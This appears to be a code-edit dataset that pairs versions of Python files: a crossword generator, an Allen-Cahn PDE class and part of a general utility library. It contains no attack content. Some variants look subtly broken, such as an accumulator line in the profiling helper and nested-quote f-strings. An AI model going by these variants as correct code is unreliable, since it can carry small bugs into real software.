GRID_CHARCheck = any([cell == GRID_CHAR for cell in middleRow[1 if startIndex != columnStartIndex else None:-1 if endIndex != columnEndIndex else None]])
linesCheck = lineCheck(topRow) and lineCheck(middleRow) and lineCheck(bottomRow) and GRID_CHARCheck
return linesCheck, None if linesCheck else ERRORS[1]
if __name__ == '__main__':
main()
| from sys import argv, exit
from getopt import getopt, GetoptError
# Constant variables
GRID_SIZE = 20 # Grid size for rows and columns
GRID_CHAR = ' ' # Character to fill blanks in the grid
ERRORS = [
'No intersections',
'Illegal adjacencies',
'Out of bounds'
] # List containing error strings
def main():
debug = False
usage = f'{argv[0]} <words>'
try:
opts, args = getopt(argv[1:],'hd',['debug'])
except GetoptError:
print(usage)
exit(2)
for opt, arg in opts:
if opt == '-h':
print(usage)
exit()
elif opt in ('-d', '--debug'):
debug = True
if (not debug and len(argv) > 1) or (debug and len(argv) > 2):
crossword(argv[(2 if debug else 1):], debug)
else:
print(usage)
def crossword(L: list, debug: bool) -> None:
"""
Function to generate a crossword puzzle
Generates a crossword puzzle with the given words
Parameters:
L (list): List of strings representing words
"""
# Keep executing code until changeOccured is False
# When changeOccured is False then words can't be added anymore
grid = [[GRID_CHAR] * GRID_SIZE for row in range(GRID_SIZE)]
changeOccured = True # Variable to keep of grid changes
while changeOccured:
wordERRORS = [] # List to hold word ERRORS as tuples: (word, error)
wordInserted = False # Helper variable for changeOccured
C = L.copy() # Copy list so iteration is not affected once a word is removed from the original list
for index, word in enumerate(C):
wordError = None # Variable to keep track of word error
rowStartIndex = None # Start index for horizontal placement
columnStartIndex = None # Start index for vertical placement
placementFound = False # Variable to track if a valid placement has been found
# First word placement
# If the grid is empty then the current word is the first word
if isGridEmpty(grid):
rowIndex = (len(grid) // 2) - 1 # Middle row index of the grid
columnStartIndex = ((len(grid[rowIndex]) - len(word)) // 2) # Column index for word placement in the middle
columnEndIndex = columnStartIndex + len(word) - 1
if not boundCheck(columnStartIndex, columnEndIndex):
wordError = ERRORS[2]
else:
placementFound = True
else:
# Determine intersections
intersections = [] # List to keep track of possible intersections
for row, cells in enumerate(grid):
for column, cell in enumerate(cells):
if cell in word:
intersections.append((row, column))
horizontalIntersections = groupIntersections(intersections, 0) # Group horizontal intersections
verticalIntersections = groupIntersections(intersections, 1) # Group vertical intersections
if not intersections:
wordError = ERRORS[0]
# Find valid placement
for row, column in intersections:
cell = grid[row][column]
occurences = [index for index, alpha in enumerate(word) if alpha == cell] # Get all possible variations of word placement
for occurence in occurences:
# Horizontal check
rowIndex = row
columnStartIndex = column - occurence
columnEndIndex = column + len(word) - occurence - 1
check, wordError = horizontalCheck(grid, word, columnStartIndex, columnEndIndex, rowIndex, [column for row, column in horizontalIntersections[rowIndex]])
if check:
placementFound = True
break
columnStartIndex = None
# Vertical check
columnIndex = column
rowStartIndex = row - occurence
rowEndIndex = row + len(word) - occurence - 1
check, wordError = verticalCheck(grid, word, rowStartIndex, rowEndIndex, columnIndex, [row for row, column in verticalIntersections[columnIndex]])
if check:
placementFound = True
break
rowStartIndex = None
if placementFound: break # Break placement loop once a valid placement has been found
# Word insertion
if placementFound:
for index, alpha in enumerate(word):
# Horizontal insertion
if columnStartIndex is not None:
grid[rowIndex][columnStartIndex + index] = alpha
# Vertical insertion
else:
grid[rowStartIndex + index][columnIndex] = alpha
L.remove(word) # Remove word from list once its added
wordInserted = True
# Add word error to word ERRORS list
else:
wordERRORS.append((word, wordError))
# If a word is inserted then a change has occured therefore the code needs to execute again with the new set of possibilites for the remaining words
# Otherwise a change has not occured if a word hasn't been inserted and the code doesn't need to execute again
changeOccured = wordInserted
if debug and wordERRORS:
print('WORD ERRORS')
wordSpacing = len(max((word for word, error in wordERRORS), key=len))
print('\n'.join(('{:>{}}: {}'.format(word, wordSpacing, error) for word, error in wordERRORS)))
printGrid(grid)
def printGrid(grid: list) -> None:
"""
Function to print grid
Prints the given grid with evenly spaced
characters and a border around the grid
Parameters:
grid (list): 2D list representing a grid
"""
print('-' * ((GRID_SIZE * 2) + 1))
print('\n'.join((f'|{" ".join(row)}|' for row in grid)))
print('-' * ((GRID_SIZE * 2) + 1))
def lineCheck(line: list) -> bool:
"""
Function to check if line is empty
Checks if a given line on grid is empty
Parameters:
line (list): List representing a vertical
or horizontal line on grid
Returns:
boolean: True if line is empty otherwise False
"""
return all(char == GRID_CHAR for char in line)
def isGridEmpty(grid: list) -> bool:
"""
Function to check if grid is empty
Checks if the given grid is empty
Parameters:
grid (list): 2D list representing a grid
Returns:
boolean: True if grid is empty otherwise False
"""
return all([lineCheck(row) for row in grid])
def boundCheck(startIndex: int, endIndex: int) -> bool:
"""
Function to check if indexes are out of bounds
Checks if the given start and end index are out of bounds
Parameters:
startIndex (int): Index on grid for the first
character of the word
endIndex (int): Index on grid for the last
character of the word
Returns:
boolean: True if indexes are within bounds otherwise False
"""
return startIndex >= 0 and endIndex < GRID_SIZE
def groupIntersections(intersections: list, key: int) -> dict:
"""
Function to group horizontal or vertical intersections
Groups horizontal or vertical intersections
as a list into a dict by the given key
Parameters:
intersections (list): List of tuples representing
intersection points
key (int): Tuple index to group by
(0 for rows and 1 for columns)
Returns:
dict: Lists of intersections as values grouped by key
"""
groupedIntersections = {}
for intersection in intersections:
keyValue = intersection[key]
if keyValue not in groupedIntersections.keys():
groupedIntersections[keyValue] = []
group = groupedIntersections[keyValue]
group.append(intersection)
return groupedIntersections
def verticalCheck(grid: list, word: str, rowStartIndex: int, rowEndIndex: int, column: int, intersectionRows: list) -> bool:
"""
Function to check if word can be placed vertically
Checks if the given word can legally be
placed vertically at the given start index
Parameters:
grid (list): 2D list representing a grid
word (string): String representing the word
rowStartIndex (int): Row index for the first
character of the word
rowEndIndex (int): Row index for the last
character of the word
column (int): Column index for vertical placement
intersectionRows (list): List of integers representing
valid rows of intersection
Returns:
boolean: True if placement is legal otherwise False
string: Error string if illegal placement otherwise None
"""
if not boundCheck(rowStartIndex, rowEndIndex):
return False, ERRORS[2] # Return False if word is out of grid bounds
leftColumn = [] # List to keep track of grid characters on the left side of the word
rightColumn = [] # List to keep track of grid characters on the right side of the word
middleColumn = [] # List to keep track of grid characters on the column of the word
startIndex = rowStartIndex-1 if rowStartIndex != 0 else rowStartIndex
endIndex = rowEndIndex+1 if rowEndIndex != len(grid)-1 else rowEndIndex
for row, cells in enumerate(grid[startIndex:endIndex+1]):
gridRow = startIndex + row
if gridRow != rowStartIndex-1 and gridRow != rowEndIndex+1:
if gridRow not in intersectionRows:
middleColumn.append(cells[column])
if column != 0:
leftColumn.append(cells[column-1])
if column != GRID_SIZE-1:
rightColumn.append(cells[column+1])
else:
if cells[column] != word[row - (1 if startIndex != rowStartIndex else 0)]:
middleColumn.append(cells[column])
else:
middleColumn.append(cells[column])
# Check if at least one cell is a blank to avoid overlapping with duplicates
GRID_CHARCheck = any([cell == GRID_CHAR for cell in middleColumn[1 if startIndex != rowStartIndex else None:-1 if endIndex != rowEndIndex else None]])
linesCheck = lineCheck(leftColumn) and lineCheck(rightColumn) and lineCheck(middleColumn) and GRID_CHARCheck
return linesCheck, None if linesCheck else ERRORS[1]
def horizontalCheck(grid: list, word: str, columnStartIndex: int, columnEndIndex: int, row: int, intersectionColumns: list) -> bool:
"""
Function to check if word can be placed horizontaly
Checks if the given word can validly be placed
horizontally at the given start index
Parameters:
grid (list): 2D list representing a grid
word (string): String representing the word
columnStartIndex (int): column index for the first
character of the word
columnEndIndex (int): column index for the last
character of the word
row (int): row index for horizontal placement
intersectionColumns (list): list of integers representing
valid columns of intersection
Returns:
boolean: True if placement is legal otherwise False
string: Error string if illegal placement otherwise None
"""
if not boundCheck(columnStartIndex, columnEndIndex):
return False, ERRORS[2] # Return False if word is out of grid bounds
topRow = [] # List to keep track of grid characters above the word
middleRow = [] # List to keep track of grid characters on the row of the word
bottomRow = [] # List to keep trach of grid characters below the word
startIndex = columnStartIndex-1 if columnStartIndex else 0
endIndex = columnEndIndex+1 if columnEndIndex != len(grid[0])-1 else columnEndIndex
for column in range(startIndex, endIndex+1):
if column != columnStartIndex-1 and column != columnEndIndex+1:
if column not in intersectionColumns:
middleRow.append(grid[row][column])
if row != 0:
topRow.append(grid[row-1][column])
if row != GRID_SIZE-1:
bottomRow.append(grid[row+1][column])
else:
if grid[row][column] != word[column - columnStartIndex]:
middleRow.append(grid[row][column])
else:
middleRow.append(grid[row][column])
# Check if at least one cell is a blank to avoid overlapping with duplicates
GRID_CHARCheck = any([cell == GRID_CHAR for cell in middleRow[1 if startIndex != columnStartIndex else None:-1 if endIndex != columnEndIndex else None]])
linesCheck = lineCheck(topRow) and lineCheck(middleRow) and lineCheck(bottomRow) and GRID_CHARCheck
return linesCheck, None if linesCheck else ERRORS[1]
if __name__ == '__main__':
main()
|
"""
A Allen-Cahn equation
.. codeauthor:: David Zwicker <david.zwicker@ds.mpg.de>
"""
from typing import Callable # @UnusedImport
import numpy as np
from ..fields import ScalarField
from ..grids.boundaries.axes import BoundariesData
from ..tools.docstrings import fill_in_docstring
from ..tools.numba import jit, nb
from .base import PDEBase, expr_prod
class AllenCahnPDE(PDEBase):
r"""A simple Allen-Cahn equation
The mathematical definition is
.. math::
\partial_t c = \gamma \nabla^2 c - c^3 + c
where :math:`c` is a scalar field and :math:`\gamma` sets the interfacial
width.
"""
explicit_time_dependence = False
interface_width: float
@fill_in_docstring
def __init__(self, interface_width: float = 1, bc: BoundariesData = "natural"):
"""
Args:
interface_width (float):
The diffusivity of the described species
bc:
The boundary conditions applied to the field.
{ARG_BOUNDARIES}
"""
super().__init__()
self.interface_width = interface_width
self.bc = bc
@property
def expression(self) -> str:
""" str: the expression of the right hand side of this PDE """
return f"{expr_prod(self.interface_width, "laplace(c)")} - c**3 + c"
def evolution_rate( # type: ignore
self,
state: ScalarField,
t: float = 0,
) -> ScalarField:
"""evaluate the right hand side of the PDE
Args:
state (:class:`~pde.fields.ScalarField`):
The scalar field describing the concentration distribution
t (float): The current time point
Returns:
:class:`~pde.fields.ScalarField`:
Scalar field describing the evolution rate of the PDE
"""
assert isinstance(state, ScalarField), "`state` must be ScalarField"
laplace = state.laplace(bc=self.bc, label="evolution rate")
return self.interface_width * laplace - state ** 3 + state # type: ignore
def _make_pde_rhs_numba( # type: ignore
self, state: ScalarField
) -> Callable[[np.ndarray, float], np.ndarray]:
"""create a compiled function evaluating the right hand side of the PDE
Args:
state (:class:`~pde.fields.ScalarField`):
An example for the state defining the grid and data types
Returns:
A function with signature `(state_data, t)`, which can be called
with an instance of :class:`~numpy.ndarray` of the state data and
the time to obtained an instance of :class:`~numpy.ndarray` giving
the evolution rate.
"""
shape = state.grid.shape
arr_type = nb.typeof(np.empty(shape, dtype=state.data.dtype))
signature = arr_type(arr_type, nb.double)
interface_width = self.interface_width
laplace = state.grid.get_operator("laplace", bc=self.bc)
@jit(signature)
def pde_rhs(state_data: np.ndarray, t: float) -> np.ndarray:
""" compiled helper function evaluating right hand side """
return interface_width * laplace(state_data) - state_data ** 3 + state_data # type: ignore
return pde_rhs # type: ignore
| """
A Allen-Cahn equation
.. codeauthor:: David Zwicker <david.zwicker@ds.mpg.de>
"""
from typing import Callable # @UnusedImport
import numpy as np
from ..fields import ScalarField
from ..grids.boundaries.axes import BoundariesData
from ..tools.docstrings import fill_in_docstring
from ..tools.numba import jit, nb
from .base import PDEBase, expr_prod
class AllenCahnPDE(PDEBase):
r"""A simple Allen-Cahn equation
The mathematical definition is
.. math::
\partial_t c = \gamma \nabla^2 c - c^3 + c
where :math:`c` is a scalar field and :math:`\gamma` sets the interfacial
width.
"""
explicit_time_dependence = False
interface_width: float
@fill_in_docstring
def __init__(self, interface_width: float = 1, bc: BoundariesData = "natural"):
"""
Args:
interface_width (float):
The diffusivity of the described species
bc:
The boundary conditions applied to the field.
{ARG_BOUNDARIES}
"""
super().__init__()
self.interface_width = interface_width
self.bc = bc
@property
def expression(self) -> str:
""" str: the expression of the right hand side of this PDE """
return f"{expr_prod(self.interface_width, 'laplace(c)')} - c**3 + c"
def evolution_rate( # type: ignore
self,
state: ScalarField,
t: float = 0,
) -> ScalarField:
"""evaluate the right hand side of the PDE
Args:
state (:class:`~pde.fields.ScalarField`):
The scalar field describing the concentration distribution
t (float): The current time point
Returns:
:class:`~pde.fields.ScalarField`:
Scalar field describing the evolution rate of the PDE
"""
assert isinstance(state, ScalarField), "`state` must be ScalarField"
laplace = state.laplace(bc=self.bc, label="evolution rate")
return self.interface_width * laplace - state ** 3 + state # type: ignore
def _make_pde_rhs_numba( # type: ignore
self, state: ScalarField
) -> Callable[[np.ndarray, float], np.ndarray]:
"""create a compiled function evaluating the right hand side of the PDE
Args:
state (:class:`~pde.fields.ScalarField`):
An example for the state defining the grid and data types
Returns:
A function with signature `(state_data, t)`, which can be called
with an instance of :class:`~numpy.ndarray` of the state data and
the time to obtained an instance of :class:`~numpy.ndarray` giving
the evolution rate.
"""
shape = state.grid.shape
arr_type = nb.typeof(np.empty(shape, dtype=state.data.dtype))
signature = arr_type(arr_type, nb.double)
interface_width = self.interface_width
laplace = state.grid.get_operator("laplace", bc=self.bc)
@jit(signature)
def pde_rhs(state_data: np.ndarray, t: float) -> np.ndarray:
""" compiled helper function evaluating right hand side """
return interface_width * laplace(state_data) - state_data ** 3 + state_data # type: ignore
return pde_rhs # type: ignore
|
#!/usr/bin/env python3
"""Library of Python tools -- Hugues Hoppe.
# pylint: disable=line-too-long
Useful commands to test and polish this file:
bash -c 'f=__init__.py; true && env python3 $f; env mypy --strict "$f"; autopep8 -a -a -a --max-line-length 80 --indent-size 2 --ignore E265 --diff "$f"; pylint --indent-string=" " --disable=C0103,C0302,C0415,R0902,R0903,R0913,R0914,W0640 "$f"; true && python3 -m doctest -v "$f" | perl -ne "print if /had no tests/../passed all/" | head -n -1; true && env pytest ..; echo All ran.'
env pytest --doctest-modules ..
env python3 -m doctest -v hhoppe_tools.py | perl -ne 'print if /had no tests/../passed all/' | tail -n +2 | head -n -1
hhoppe_tools.py
env mypy --strict hhoppe_tools.py
bash -c "autopep8 -a -a -a --max-line-length 80 --indent-size 2 --ignore E265 hhoppe_tools.py >~/tmp/v && ediff hhoppe_tools.py ~/tmp/v"
bash -c 'pylint --indent-string=" " --disable=C0103,C0302,C0415,R0201,R0902,R0903,R0913,R0914 hhoppe_tools.py'
bash -c "pydoc3 ~/bin/hhoppe_tools.py" # Print module help
gpylint hhoppe_tools.py
# pylint: enable=line-too-long
"""
__docformat__ = 'google'
__version__ = '0.8.1'
__version_info__ = tuple(int(num) for num in __version__.split('.'))
import ast
import collections.abc
import contextlib
import cProfile
import dataclasses
import doctest
import functools
import gc
import io # pylint: disable=unused-import
import importlib.util
import itertools
import math
import numbers
import os # pylint: disable=unused-import
import pathlib
import pstats
import re
import stat
import subprocess
import sys
import tempfile # pylint:disable=unused-import
import time
import traceback
import typing
from typing import Any, Callable, Dict, Generator, Iterable
from typing import Iterator, List, Mapping, Optional, Sequence, Set
from typing import Tuple, TypeVar, Union
import unittest.mock # pylint: disable=unused-import
import numpy as np
_T = TypeVar('_T')
_F = TypeVar('_F', bound=Callable[..., Any])
_UNDEFINED = object()
# _NDArray = np.ndarray[Any, Any]
_NDArray = Any # numpy typing is not yet mature.
# https://github.com/python/mypy/issues/5667
if typing.TYPE_CHECKING:
_Path = Union[str, 'os.PathLike[str]']
else:
_Path = Union[str, os.PathLike]
## Language extensions
def assertv(value: Optional[_T]) -> _T:
"""Assert a value and return it; functional assert.
>>> assertv('33')
'33'
>>> assertv([])
Traceback (most recent call last):
...
AssertionError: []
"""
assert value, value
return value
## Debugging output
def check_eq(a: Any, b: Any) -> None:
"""Assert that two values are equal or raise exception with a useful message.
Args:
a: First expression.
b: Second expression.
Raises:
RuntimeError: If a != b (or np.any(a != b) if np.ndarray).
>>> check_eq('a' + 'b', 'ab')
>>> check_eq(1 + 2, 4)
Traceback (most recent call last):
...
AssertionError: 3 == 4
"""
check_fails = np.any(a != b) if isinstance(a, np.ndarray) else a != b
if check_fails:
raise AssertionError(f'{a!r} == {b!r}')
def print_err(*args: str, **kwargs: Any) -> None:
r"""Prints arguments to stderr immediately.
>>> with unittest.mock.patch('sys.stderr', new_callable=io.StringIO) as m:
... print_err('hello')
... print(repr(m.getvalue()))
'hello\n'
"""
kwargs = {**dict(file=sys.stderr, flush=True), **kwargs}
print(*args, **kwargs)
def dump_vars(*args: Any) -> str:
"""Return a string showing the values of each expression.
Specifically, convert each expression (contributed by the caller to the
variable-parameter list *args) into a substring f'expression = {expression}'
and join these substrings separated by ', '.
If the caller itself provided a variable-parameter list (*args),
the search continues in its callers. The approach examines a stack trace,
so it is fragile and non-portable.
Args:
*args: Expressions to show.
Raises:
Exception: If the dump_vars(...) does not fit on a single source line.
>>> a = 45
>>> b = 'Hello'
>>> dump_vars(a)
'a = 45'
>>> dump_vars(b)
'b = Hello'
>>> dump_vars(a, b, (a * 2) + 5, b + ' there')
"a = 45, b = Hello, (a * 2) + 5 = 95, b + ' there' = Hello there"
>>> dump_vars([3, 4, 5][1])
'[3, 4, 5][1] = 4'
"""
def matching_parenthesis(text: str) -> int:
"""Return the index of ')' matching '(' in text[0]."""
check_eq(text[0], '(')
num_open = 0
for i, c in enumerate(text):
if c == '(':
num_open += 1
elif c == ')':
num_open -= 1
if num_open == 0:
return i
raise RuntimeError(f'No matching right parenthesis in "{text}"')
# Adapted from make_dict() in https://stackoverflow.com/a/2553524 .
stack = traceback.extract_stack()
this_function_name = stack[-1][2] # i.e. initially 'dump_vars'.
for stackframe in stack[-2::-1]:
(filename, unused_line_number, function_name, text) = stackframe # Caller.
# https://docs.python.org/3/tutorial/errors.html:
# "however, it will not display lines read from standard input."
if filename == '<stdin>':
check_eq(text, '')
return ', '.join(str(e) for e in args) # Unfortunate fallback.
prefix = this_function_name + '('
begin = text.find(prefix)
if begin < 0:
raise Exception(f'dump_vars: cannot find "{prefix}" in line "{text}"')
begin += len(this_function_name)
end = begin + matching_parenthesis(text[begin:])
parameter_string = text[begin + 1:end].strip()
if re.fullmatch(r'\*[\w]+', parameter_string):
this_function_name = function_name
# Because the call is made using a *args, we continue to
# the earlier caller in the stack trace.
else:
if len(args) == 1:
expressions = [parameter_string.strip()]
elif hasattr(ast, 'get_source_segment'): # Python 3.8.
node = ast.parse(parameter_string)
# print(ast.dump(node)) # ", indent=2" requires Python 3.9.
value = getattr(node.body[0], 'value', '?')
elements = getattr(value, 'elts', [value])
def get_text(element: Any) -> str:
text = ast.get_source_segment(parameter_string, element)
return '?' if text is None else text
expressions = [get_text(element) for element in elements]
else:
expressions = [name.strip() for name in parameter_string.split(',')]
l = []
for (expr, value) in zip(expressions, args):
l.append(f'{expr} = {value}' if expr[0] not in '"\'' else str(value))
return ', '.join(l)
raise AssertionError
def show(*args: Any) -> None:
r"""Prints expressions and their values on stdout.
Args:
*args: Expressions to show.
>>> with unittest.mock.patch('sys.stdout', new_callable=io.StringIO) as m:
... show(4 * 3)
... check_eq(m.getvalue(), '4 * 3 = 12\n')
>>> with unittest.mock.patch('sys.stdout', new_callable=io.StringIO) as m:
... a ='<string>'
... show(a, 'literal_string', "s", a * 2, 34 // 3)
... s = m.getvalue()
>>> s
'a = <string>, literal_string, s, a * 2 = <string><string>, 34 // 3 = 11\n'
"""
print(dump_vars(*args), flush=True)
## Jupyter/IPython notebook functionality
def in_colab() -> bool:
"""Return True if running inside Google Colab.
>>> in_colab()
False
"""
try:
import google.colab # pylint: disable=unused-import
return True
except ModuleNotFoundError:
return False
class _CellTimer:
"""Record timings of all notebook cells and show top entries at the end."""
# Inspired from https://github.com/cpcloud/ipython-autotime.
instance: Optional['_CellTimer'] = None
def __init__(self) -> None:
import IPython
self.elapsed_times: Dict[int, float] = {}
self.start()
IPython.get_ipython().events.register('pre_run_cell', self.start)
IPython.get_ipython().events.register('post_run_cell', self.stop)
def close(self) -> None:
"""Destroy the _CellTimer and its notebook callbacks."""
import IPython
IPython.get_ipython().events.unregister('pre_run_cell', self.start)
IPython.get_ipython().events.unregister('post_run_cell', self.stop)
def start(self) -> None:
"""Start a timer for the notebook cell execution."""
self.start_time = time.monotonic()
def stop(self) -> None:
"""Start the timer for the notebook cell execution."""
import IPython
elapsed_time = time.monotonic() - self.start_time
input_index = IPython.get_ipython().execution_count
if not in_colab():
input_index -= 1
self.elapsed_times[input_index] = elapsed_time
def show_times(self, n: Optional[int] = None, sort: bool = False) -> None:
"""Print notebook cell timings."""
import IPython
print(f'Total time: {sum(self.elapsed_times.values()):.2f} s')
times = list(self.elapsed_times.items())
times = sorted(times, key=lambda x: x[sort], reverse=sort)
# https://github.com/ipython/ipython/blob/master/IPython/core/history.py
# https://ipython.readthedocs.io/en/stable/api/generated/IPython.core.history.html
session = IPython.get_ipython().history_manager.session_number
history_range = IPython.get_ipython().history_manager.get_range(session)
inputs = {index: text for unused_session, index, text in history_range}
for input_index, elapsed_time in itertools.islice(times, n):
cell_input = inputs[input_index]
print(f'In[{input_index:3}] {cell_input!r:60.60} {elapsed_time:6.3f} s')
def start_timing_notebook_cells() -> None:
"""Start timing of Jupyter notebook cells.
Place in an early notebook cell. See also `show_notebook_cell_top_times`.
"""
import IPython
if IPython.get_ipython():
if _CellTimer.instance:
_CellTimer.instance.close()
_CellTimer.instance = _CellTimer()
def show_notebook_cell_top_times() -> None:
"""Print summary of timings for Jupyter notebook cells.
Place in a late notebook cell. See also `start_timing_notebook_cells`.
"""
if _CellTimer.instance:
_CellTimer.instance.show_times(n=20, sort=True)
## Timing
def get_time_and_result(func: Callable[[], Any], *, max_num: int = 10,
max_time: float = 2.0) -> Tuple[float, Any]:
"""Return (minimum_time, result) when repeatedly calling `func`.
>>> elapsed, result = get_time_and_result(lambda: 11 + 22)
>>> elapsed < 0.01
True
>>> result
33
"""
assert callable(func) and max_num > 0 and max_time > 0.0
gc_was_enabled = gc.isenabled()
try:
gc.disable()
num_time = 0
sum_time = 0.0
min_time = np.inf
start = time.monotonic()
while num_time < max_num and sum_time < max_time:
result = func()
stop = time.monotonic()
elapsed = stop - start
start = stop
num_time += 1
sum_time += elapsed
min_time = min(min_time, elapsed)
finally:
if gc_was_enabled:
gc.enable()
return min_time, result
def get_time(func: Callable[[], Any], **kwargs: Any) -> float:
"""Return the minimum execution time when repeatedly calling `func`.
>>> elapsed = get_time(lambda: time.sleep(0.2), max_num=1)
>>> 0.15 < elapsed < 0.25
True
"""
return get_time_and_result(func, **kwargs)[0]
def print_time(func: Callable[[], Any], **kwargs: Any) -> None:
"""Print the minimum execution time when repeatedly calling `func`.
>>> print_time(lambda: 11 + 22)
0.000 s
"""
min_time = get_time(func, **kwargs)
print(f'{min_time:.3f} s', flush=True)
## Profiling
def prun(func: Callable[[], Any], mode: str = 'tottime',
top: Optional[int] = None) -> None:
"""Profile the function call and print reformatted statistics.
>>> with unittest.mock.patch('sys.stdout', new_callable=io.StringIO) as m:
... prun(lambda: np.linalg.qr(np.random.random((400, 400))))
... lines = m.getvalue().splitlines()
>>> assert lines[0].startswith('# Prun: tottime ')
>>> assert 'overall_cumtime' in lines[0]
>>> assert len(lines) >= 4
"""
assert callable(func)
assert mode in ('original', 'full', 'tottime'), mode
profile = cProfile.Profile()
try:
profile.enable()
func()
finally:
profile.disable()
with io.StringIO() as string_io:
args = (top,) if top is not None else ()
pstats.Stats(profile, stream=string_io).sort_stats(
'tottime').print_stats(*args)
lines = string_io.getvalue().strip('\n').splitlines()
if mode == 'original':
print('\n'.join(lines))
return
def beautify_function_name(name: str) -> str:
name = re.sub(r'^\{built-in method (.*)\}$', r'\1 (built-in)', name)
name = re.sub(r"^\{method '(.*)' of '(.*)' objects\}$", r'\2.\1', name)
name = re.sub(r'^\{function (\S+) at (0x\w+)\}$', r'\1', name)
name = re.sub(r'^<ipython-input[-\w]+>:\d+\((.*)\)$', r'\1', name)
name = re.sub(r'^([^:()]+):(\d+)\((.+)\)$', r'\3 (\1:\2)', name)
name = re.sub(r'^\{(\S+)\}$', r'\1', name)
name = re.sub(r' \(/tmp/ipykernel.*\.py:', r' (/tmp/ipykernel:', name)
return name
output = []
overall_time = 0.0
post_header = False
for line in lines:
if post_header:
tottime_str, cumtime_str, name = assertv(re.fullmatch(
r'\s*\S+\s+(\S+)\s+\S+\s+(\S+)\s+\S+\s+(\S.*)', line)).groups()
tottime, cumtime = float(tottime_str), float(cumtime_str)
beautified_name = beautify_function_name(name)
overall_time += 1e-6
significant_time = (tottime / overall_time > 0.05 or
0.05 < cumtime / overall_time < 0.95)
if top is not None or significant_time:
if mode == 'tottime':
output.append(f' {tottime:8.3f} {cumtime:8.3f} {beautified_name}')
else: # mode == 'full'
output.append(line.replace(name, beautified_name))
elif ' function calls ' in line:
overall_time = float(
assertv(re.search(r' in (\S+) seconds', line)).group(1))
output.append(f'Prun: tottime {overall_time:8.3f} overall_cumtime')
elif line.lstrip().startswith('ncalls '):
if mode == 'full':
output.append(line)
post_header = True
print('\n'.join([f'#{' ' * bool(line)}' + line for line in output]))
## Operations on iterables
def repeat_each(iterable: Iterable[_T], n: int) -> Iterator[_T]:
"""Repeat each element of iterable 'n' times.
>>> list(repeat_each(list('abc'), 2))
['a', 'a', 'b', 'b', 'c', 'c']
>>> ''.join(itertools.islice(repeat_each(itertools.cycle('abcd'), 4), 30))
'aaaabbbbccccddddaaaabbbbccccdd'
"""
# https://stackoverflow.com/a/65071833
return itertools.chain.from_iterable(zip(*itertools.tee(iterable, n)))
def only(iterable: Iterable[_T]) -> _T:
"""Return the first element and asserts that there are no more.
>>> only(range(1))
0
>>> only(range(2))
Traceback (most recent call last):
...
ValueError: [0, 1, ...] has more than one element
>>> only(range(0))
Traceback (most recent call last):
...
StopIteration
"""
# Or use: return (lambda x: x)(*iterable)
iterator = iter(iterable)
first = next(iterator)
missing = object()
second = next(iterator, missing)
if second != missing:
raise ValueError(f'[{first}, {second}, ...] has more than one element')
return first
def grouped(iterable: Iterable[_T],
n: int,
fillvalue: Optional[_T] = None,
) -> Iterator[Tuple[Optional[_T], ...]]:
"""Return elements collected into fixed-length chunks.
>>> list(grouped('ABCDEFG', 3, 'x'))
[('A', 'B', 'C'), ('D', 'E', 'F'), ('G', 'x', 'x')]
>>> list(grouped(range(5), 3))
[(0, 1, 2), (3, 4, None)]
>>> list(grouped(range(5), 3, fillvalue=9))
[(0, 1, 2), (3, 4, 9)]
>>> list(grouped(range(6), 3))
[(0, 1, 2), (3, 4, 5)]
>>> list(grouped([], 2))
[]
"""
# From grouper() in https://docs.python.org/3/library/itertools.html.
iters = [iter(iterable)] * n
return itertools.zip_longest(*iters, fillvalue=fillvalue)
def chunked(iterable: Iterable[_T],
n: Optional[int] = None,
) -> Iterator[Tuple[_T, ...]]:
"""Return elements collected as tuples of length at most 'n' if not None.
>>> list(chunked('ABCDEFG', 3))
[('A', 'B', 'C'), ('D', 'E', 'F'), ('G',)]
>>> list(chunked(range(5), 3))
[(0, 1, 2), (3, 4)]
>>> list(chunked(range(5)))
[(0, 1, 2, 3, 4)]
>>> list(chunked([]))
[]
"""
def take(n: int, iterable: Iterable[_T]) -> Tuple[_T, ...]:
return tuple(itertools.islice(iterable, n))
return iter(functools.partial(take, n, iter(iterable)), ())
def sliding_window(iterable: Iterable[_T], n: int) -> Iterator[Tuple[_T, ...]]:
"""Return overlapping tuples of length `n` from `iterable`.
>>> list(sliding_window('ABCDEF', 4))
[('A', 'B', 'C', 'D'), ('B', 'C', 'D', 'E'), ('C', 'D', 'E', 'F')]
>>> list(sliding_window('ABCDE', 1))
[('A',), ('B',), ('C',), ('D',), ('E',)]
>>> list(sliding_window('ABCDE', 8))
[]
>>> list(sliding_window('A', 2))
[]
>>> list(sliding_window('', 1))
[]
"""
# From https://docs.python.org/3/library/itertools.html.
it = iter(iterable)
window = collections.deque(itertools.islice(it, n), maxlen=n)
if len(window) == n:
yield tuple(window)
for x in it:
window.append(x)
yield tuple(window)
def powerset(iterable: Iterable[_T]) -> Iterator[Tuple[_T, ...]]:
"""Return all subsets of iterable.
>>> list(powerset([1, 2, 3]))
[(), (1,), (2,), (3,), (1, 2), (1, 3), (2, 3), (1, 2, 3)]
>>> list(powerset([]))
[()]
"""
# From https://docs.python.org/3/library/itertools.html.
s = list(iterable)
return itertools.chain.from_iterable(
itertools.combinations(s, r) for r in range(len(s) + 1))
def peek_first(iterator: Iterable[_T]) -> Tuple[_T, Iterable[_T]]:
"""Given an iterator, return first element and re-initialized iterator.
Example:
first_image, images = peek_first(images)
Args:
iterator: An input iterator or iterable.
Returns:
A tuple (first_element, iterator_reinitialized) containing:
first_element: The first element of the input.
iterator_reinitialized: A clone of the original iterator/iterable.
>>> value, iter = peek_first(range(5))
>>> value
0
>>> list(iter)
[0, 1, 2, 3, 4]
"""
# Inspired from https://stackoverflow.com/a/12059829
peeker, iterator_reinitialized = itertools.tee(iterator)
first = next(peeker)
return first, iterator_reinitialized
## Temporary variable assignment
@contextlib.contextmanager
def temporary_assignment(variables: Dict[str, Any], name: str,
value: Any) -> Generator[None, None, None]:
"""Temporarily assign `value` to the variable named `name` in `variables`.
Args:
variables: Usually the `globals()` of the caller module. Note that
`locals()` does not work as it should not be modified.
name: Name of the variable in `variables` to temporarily assign.
value: Value assigned to `name` in the lifetime of the context.
>>> var = 1
>>> with temporary_assignment(globals(), 'var', 2):
... check_eq(var, 2)
>>> check_eq(var, 1)
>>> assert 'var2' not in globals()
>>> with temporary_assignment(globals(), 'var2', '1'):
... check_eq(var2, '1')
>>> assert 'var2' not in globals()
"""
# https://stackoverflow.com/a/57226721.
old_value = variables.get(name, _UNDEFINED)
variables[name] = value
yield
if old_value is _UNDEFINED:
del variables[name]
else:
variables[name] = old_value
## Meta programming
@typing.overload # Bare decorator.
def noop_decorator(func: _F) -> _F: ...
